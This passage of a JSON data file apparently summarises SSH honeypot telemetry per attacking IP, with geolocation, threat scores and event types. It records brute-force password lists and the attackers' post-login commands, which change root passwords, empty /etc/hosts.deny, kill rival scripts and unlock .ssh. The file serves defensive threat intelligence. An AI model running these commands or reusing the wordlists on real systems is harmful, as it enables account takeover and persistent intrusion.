        "echo \"dev123\\n596KsqYcs2z9\\n596KsqYcs2z9\\n\"|passwd",
        "echo -e \"abc\\nLg4NJtahyEj9\\nLg4NJtahyEj9\"|passwd|bash",
        "echo -e \"dev123\\n596KsqYcs2z9\\n596KsqYcs2z9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yangju",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:17:52.249000+00:00",
        "last_seen_30d": "2026-05-24T00:33:20.711000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 59
      }
    },
    "43.156.240.243": {
      "attack_count": 236,
      "first_seen": "2026-05-17T20:16:56.593Z",
      "last_seen": "2026-05-17T20:43:56.354Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456@qq",
        "123system123",
        "2057",
        "2061",
        "7ujMko0admin",
        "devel0per",
        "edu01",
        "f00tb@ll",
        "gitgit",
        "hola",
        "mah123",
        "nathan",
        "oracle01",
        "passport",
        "passwort",
        "renuka",
        "testusr",
        "toorroot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:OpMNkisij5y2\"|chpasswd|bash",
        "echo \"root:VRSR9YrehDS7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:16:56.593000+00:00",
        "last_seen_30d": "2026-05-17T20:45:03.252000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "92.191.96.70": {
      "attack_count": 236,
      "first_seen": "2026-05-18T12:16:41.440Z",
      "last_seen": "2026-05-18T12:45:37.616Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "------fuck------",
        "1959",
        "afrika",
        "asancar",
        "asbjorn",
        "bubba",
        "buffy",
        "cdl",
        "clinton",
        "farmacia",
        "great",
        "hatsune",
        "hidetoshi",
        "iloveyou",
        "letmein!",
        "lh123",
        "pyramid",
        "recovery"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:SrbAFBUseoT6\"|chpasswd|bash",
        "echo \"root:f8HbQhlcMN47\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "M\u00e1laga",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:16:41.440000+00:00",
        "last_seen_30d": "2026-05-18T12:46:39.004000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "20.51.117.109": {
      "attack_count": 222,
      "first_seen": "2026-05-12T10:25:19.757Z",
      "last_seen": "2026-05-12T11:23:49.425Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ubuntu",
        "admin",
        "server",
        "administrator",
        "deploy",
        "ftpuser",
        "test",
        "appldev",
        "csgoserver",
        "es",
        "guest",
        "newtest",
        "oracle",
        "sysadmin",
        "test10",
        "testuser",
        "ts3server",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "000000",
        "1111",
        "123456",
        "123qwe",
        "123qwe!@",
        "123qweASD",
        "19999999",
        "1qaz@WSX",
        "P@$$w0rd",
        "P@ssw0rd!!",
        "abc#123",
        "abcd1234!",
        "admin.12345",
        "admin@123",
        "admin@2018",
        "adminadmin1234",
        "appldev"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 305,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T10:25:19.757000+00:00",
        "last_seen_30d": "2026-05-12T11:24:49.630000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 222,
        "Suricata": 83
      }
    },
    "181.97.227.163": {
      "attack_count": 219,
      "first_seen": "2026-05-05T18:36:26.753Z",
      "last_seen": "2026-05-05T19:10:24.547Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "centos",
        "345gs5662d34",
        "Test",
        "admin2",
        "dev",
        "ftpuser",
        "gitlab",
        "postgres",
        "testuser"
      ],
      "passwords_attempted": [
        "123456",
        "090909",
        "1111",
        "1234",
        "12345",
        "123456xX",
        "1qazxsw2!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@12345678",
        "Ap123456",
        "Ax.123456",
        "China123",
        "Password!1",
        "Qq123456",
        "Qwertyuiop",
        "a",
        "aa789789",
        "abc2026",
        "admin999"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nuJYFmJzaG3Do\\nuJYFmJzaG3Do\\n\"|passwd",
        "echo -e \"123456\\nuJYFmJzaG3Do\\nuJYFmJzaG3Do\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Or\u00e1n",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:36:26.753000+00:00",
        "last_seen_30d": "2026-05-05T19:11:26.659000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "94.156.115.179": {
      "attack_count": 216,
      "first_seen": "2026-05-28T18:05:37.704Z",
      "last_seen": "2026-05-28T18:27:11.626Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "azureuser",
        "bbs",
        "mexal",
        "production",
        "pvx",
        "rana",
        "sammy",
        "sinusbot",
        "sky"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1234@qwe",
        "Ck123456@",
        "P@ssw0rd@2020",
        "abc@12345",
        "azureuser",
        "bbs",
        "computer",
        "fjbdfdjkdsfs541544",
        "mexal",
        "production@123",
        "pvx",
        "rana",
        "sinusbot",
        "xp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:B9pb4DP0yUsA\"|chpasswd|bash",
        "echo \"root:lV1CGCodX3AC\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:05:37.704000+00:00",
        "last_seen_30d": "2026-05-28T18:28:13.773000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 45
      }
    },
    "165.154.6.18": {
      "attack_count": 204,
      "first_seen": "2026-05-12T08:29:12.696Z",
      "last_seen": "2026-05-12T09:27:31.548Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "server",
        "administrator",
        "deploy",
        "ftpuser",
        "appldev",
        "csgoserver",
        "es",
        "guest",
        "newtest",
        "oracle",
        "sysadmin",
        "test",
        "test10",
        "testuser",
        "ts3server",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "000000",
        "1111",
        "123456",
        "123qwe",
        "123qwe!@",
        "123qweASD",
        "19999999",
        "1qaz@WSX",
        "P@$$w0rd",
        "P@ssw0rd!!",
        "abc#123",
        "abcd1234!",
        "admin.12345",
        "admin@123",
        "admin@2018",
        "adminadmin1234",
        "appldev"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:29:12.696000+00:00",
        "last_seen_30d": "2026-05-12T09:28:40.444000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 79
      }
    },
    "137.184.228.138": {
      "attack_count": 177,
      "first_seen": "2026-05-20T04:29:14.236Z",
      "last_seen": "2026-05-20T04:57:06.433Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!%&(!%&(",
        "!Q2w3e4r",
        "1988",
        "7",
        "Adm123",
        "Cannot",
        "K0nig!321",
        "alex1234",
        "aoeduo",
        "chentao",
        "claude",
        "desibaba",
        "doug",
        "jaguar",
        "merlin99",
        "n00dle",
        "root@123123",
        "session"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:29:14.236000+00:00",
        "last_seen_30d": "2026-05-20T04:58:12.120000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 177,
        "Suricata": 63
      }
    },
    "43.134.10.23": {
      "attack_count": 168,
      "first_seen": "2026-05-17T16:14:21.051Z",
      "last_seen": "2026-05-17T16:43:43.245Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1234Qwer",
        "1946",
        "198613",
        "3245gs5662d34",
        "345gs5662d34",
        "@dm1n",
        "A12345678a",
        "Qwerty@123",
        "\\\\\\\\",
        "admin@!@#$",
        "anderson",
        "arsestar",
        "dexter",
        "elfenlied",
        "k0nig@@",
        "number1",
        "qazwsxedc1",
        "rj",
        "sanjay@123",
        "shoko"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:llCRzYlvuVs5\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T16:14:21.051000+00:00",
        "last_seen_30d": "2026-05-17T16:44:44.403000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
    },
    "43.227.185.238": {
      "attack_count": 168,
      "first_seen": "2026-05-20T16:56:10.457Z",
      "last_seen": "2026-05-20T17:24:46.098Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "fluentbit",
        "ikeda",
        "lin",
        "ntp",
        "priya",
        "qingcloud",
        "shi",
        "wanglei"
      ],
      "passwords_attempted": [
        "123456",
        "13666666666",
        "1998",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "a001",
        "almalinux",
        "fluentbit",
        "hoyoverse",
        "lin",
        "ntp",
        "priya",
        "qweasd",
        "root@",
        "shi123",
        "suse",
        "tmd",
        "unionpay",
        "valorant123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:p54X7d835kaS\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 154297,
      "as_org": "PROCAPITUS BUSINESS PARK PRIVATE LIMITED",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:56:10.457000+00:00",
        "last_seen_30d": "2026-05-20T17:25:51.558000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
    },
    "61.220.235.10": {
      "attack_count": 149,
      "first_seen": "2026-05-28T19:08:07.779Z",
      "last_seen": "2026-05-28T19:33:38.841Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dev",
        "345gs5662d34",
        "admin",
        "hugo",
        "ll",
        "nokia",
        "postgres",
        "steam",
        "sumit",
        "system",
        "user",
        "user2",
        "vision",
        "zk"
      ],
      "passwords_attempted": [
        "!QAZxsw2#EDCvfr4",
        "123",
        "123123",
        "123456",
        "1234qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "Dev@2024",
        "Secure@123",
        "aA111222",
        "fjbdfdjkdsfs541544",
        "nokia",
        "qwerty",
        "sumit@123",
        "system",
        "test",
        "user@12345",
        "vision"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Dev@2024\\nSFNGDJE1XPmj\\nSFNGDJE1XPmj\\n\"|passwd",
        "echo -e \"Dev@2024\\nSFNGDJE1XPmj\\nSFNGDJE1XPmj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T19:08:07.779000+00:00",
        "last_seen_30d": "2026-05-28T19:34:48.025000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 41
      }
    },
    "79.3.96.178": {
      "attack_count": 143,
      "first_seen": "2026-05-29T21:24:25.113Z",
      "last_seen": "2026-05-29T21:46:39.903Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "userroot",
        "345gs5662d34",
        "h",
        "min",
        "telegram",
        "wh"
      ],
      "passwords_attempted": [
        "1234",
        "1qaz@WSX1234!@#$",
        "3245gs5662d34",
        "345gs5662d34",
        "6yhnMJU&",
        "Abc.1234",
        "Asdf123456",
        "Mouse2025",
        "P@ssw0rd",
        "Password123!",
        "QWE123!@#qwe",
        "a4b3c2d1",
        "h",
        "min123",
        "p@ssw0rd",
        "sangoma",
        "wh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Mugb0WRfXuSJ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:24:25.113000+00:00",
        "last_seen_30d": "2026-05-29T21:47:49.429000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 38
      }
    },
    "4.246.204.51": {
      "attack_count": 122,
      "first_seen": "2026-05-25T04:28:35.880Z",
      "last_seen": "2026-05-25T07:48:14.365Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user2",
        "345gs5662d34",
        "curl",
        "gmodserver",
        "vpnuser"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa121314",
        "Cloud123",
        "Hello@1234",
        "asdQWE123",
        "fjbdfdjkdsfs541544@@",
        "gmod",
        "user2",
        "welltech12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"user2\\n7Ip6zIOtKJMN\\n7Ip6zIOtKJMN\\n\"|passwd",
        "echo -e \"user2\\n7Ip6zIOtKJMN\\n7Ip6zIOtKJMN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:28:35.880000+00:00",
        "last_seen_30d": "2026-05-25T07:49:18.890000+00:00",
        "days_since_last_seen": 6
